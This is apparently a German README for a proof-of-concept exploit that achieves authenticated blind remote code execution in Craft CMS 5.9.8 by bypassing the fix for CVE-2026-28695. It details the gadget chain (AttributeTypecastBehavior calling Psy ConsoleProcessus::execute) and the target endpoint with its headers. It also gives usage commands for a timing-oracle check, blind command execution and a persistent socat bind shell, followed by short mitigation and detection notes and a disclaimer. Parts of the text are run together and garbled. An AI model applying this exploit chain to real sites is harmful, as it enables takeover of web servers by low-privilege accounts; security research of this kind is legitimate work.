Authentifizierte, **blinde** Remote-Code-Ausführung in Craft CMS. Fix für CVE-2026-28695
element-search)CVSS 3.x : 8.8 HIGH (ungefähr — verifizieren)
CWE : CWE-502 (Unsafe Object Instantiation) + CWE-1336 (SSTI-Ursprung)
Basis : CVE-2026-28695 (SSTI via create() + Symfony Process)
Fix : Advisory-Fix e31e508 (beschränkt create() auf BaseObject) — HIER UMGANGEN
Betrifft : Craft CMS ≤ 5.9.8 mit angewendetem CVE-2026-28695-Fix
Authentifizierte, blinde Remote-Code-Ausführung in Craft CMS. Der offizielle Fix für
CVE-2026-28695 beschränkt create() lediglich auf yii\base\BaseObject-Subklassen. Das
yii\behaviors\AttributeTypecastBehavior-Gadget ist ein BaseObject, erreicht aber
dennoch eine call_user_func()-Sink, sodass es den Filter überlebt. Über die Nicht-Twig-
Aktion admin/actions/element-search/search ausgeliefert, umgeht es zudem
CRAFT_ENABLE_TWIG_SANDBOX. Ein Content-Editor-Konto genügt.
Crafts element-search-Controller deserialisiert Angreifer-JSON in lebende PHP-Objekte über
Yii's Craft::createObject() / Instance-Maschinerie. Durch Anhängen eines AttributeTypecastBehavior,
dessen attributeTypes ein Attribut auf das Callable [Psy\Readline\Hoa\ConsoleProcessus, execute]
abbildet, und Auslösen des beforeSave-Events wird der Typecast zu:
call_user_func([Psy\Readline\Hoa\ConsoleProcessus, "execute"], "<CMD>")
Der Endpunkt antwortet immer mit HTTP 500 und liefert keine Befehlsausgabe zurück — die Ausführung ist blind.
create() + Symfony Process, erreicht von einer Twig-Sink
(typischerweise Entry Types → Title Format).e31e508 create() auf BaseObject-Subklassen, und
das Ziel läuft zudem mit CRAFT_ALLOW_ADMIN_CHANGES=false (Einstellungen → 403) und
CRAFT_ENABLE_TWIG_SANDBOX=true. Der dokumentierte Vektor ist dreifach geschlossen.yii\behaviors\AttributeTypecastBehavior -> Psy\Readline\Hoa\ConsoleProcessus::execute
Doppelter Bypass, konstruktionsbedingt:
element-search ist ein PHP-Objektpfad, kein Twig-Render.
CRAFT_ENABLE_TWIG_SANDBOX beschränkt nur die Template-Engine, greift also nie.create() auf BaseObject. AttributeTypecastBehavior
→ yii\base\Behavior → yii\base\BaseObject, erfüllt also die neue Einschränkung,
bietet aber weiterhin eine Ausführungs-Sink. Der Fix schließt eine Klassenfamilie, nicht die
BaseObject-Klasse.Endpunkt:
POST /index.php?p=admin/actions/element-search/search
X-CSRF-Token: <dashboard csrf>
X-Requested-With: XMLHttpRequest
Accept: application/json
Hoa\ConsoleProcessus::execute() führt den Befehl durch escapeshellcmd() aus:
| && ; > < $() ' " → keine Verkettung, keine Pipes, keine Umleitung, keine
klassische Bash-Reverse-Shell.: , /Deshalb ist die Payload eine einzelne socat TCP-LISTEN,fork EXEC Bind-Shell (Argumente in
: / , / /) statt einer Reverse-Shell.
Angreifer (Content Editor) Craft CMS 5.9.8
| |
| GET /admin/login (CSRF scrapen) |
|--------------------------------------->|
| POST users/login (jenny:******) |
|--------------------------------------->|
| GET /admin/dashboard (JS csrf) |
|<---------------------------------------|
| POST element-search/search |
| AttributeTypecastBehavior gadget |
| typecastBeforeSave = "<CMD>" |
|--------------------------------------->| call_user_func(
| HTTP 500 (blind, keine Ausgabe) | [ConsoleProcessus,execute], CMD)
|<---------------------------------------| -> escapeshellcmd(CMD) -> exec
| |
| Orakel: "sleep 5" -> +~5s Latenz |
| Shell: socat TCP-LISTEN:4445 bind |
| Status | Versionen |
|---|---|
| Anfällig | Craft CMS ≤ 5.9.8 mit dem CVE-2026-28695-Fix |
| Hinweis | Das Gadget erfordert eine authentifizierte CP-Sitzung |
| Datei | Rolle |
|---|---|
exploit.py | PoC: Login → Timing-Orakel-Check → einzelner Befehl → Bind-Shell |
README.md | Diese Datei |
Erfordert requests (pip install requests).
# 1. Code-Ausführung beweisen (Timing-Orakel: sleep 5 muss ~5s hinzufügen)
python3 exploit.py http://example.lab --check
# 2. Einen einzelnen blinden Befehl abfeuern (ein Binary + Argumente, keine Metazeichen)
python3 exploit.py http://example.lab "sleep 5"
# 3. Eine persistente Bind-Shell als Web-Benutzer platzieren, dann verbinden
python3 exploit.py http://example.lab --bind 4445
nc IP or exemple.lab 4445
# benutzerdefinierte Anmeldedaten
python3 exploit.py http://exemple.lab -u User -p 'SecureP4$$!' --bind
Was passiert:
AttributeTypecastBehavior-Gadget an element-search senden.--check beweist blinde Ausführung durch injizierte Latenz; --bind platziert einen socat-Listener.create()), und die element-search-Bedingungsbehandlung prüfen.CRAFT_ALLOW_ADMIN_CHANGES=false beibehalten und Content-Editor-Rechte minimieren — Auth ist
hier die einzige Voraussetzung.psy/psysh- (Hoa-)Abhängigkeit entfernen/aktualisieren, wo ein ConsoleProcessus::execute-
Gadget erreichbar ist.element-search/search-Bodies mit __class, as rce oder
AttributeTypecastBehavior; Bursts von HTTP 500 von dieser Aktion markieren.e31e508 (create() → BaseObject-Beschränkung)AttributeTypecastBehavior / yii\base\Security DocsDieses Projekt dient ausschließlich autorisierten Sicherheitstests, der Bildung und der defensiven Forschung. Sie sind dafür verantwortlich, geltende Gesetze und die Rules of Engagement Ihres Labs oder Kunden einzuhalten.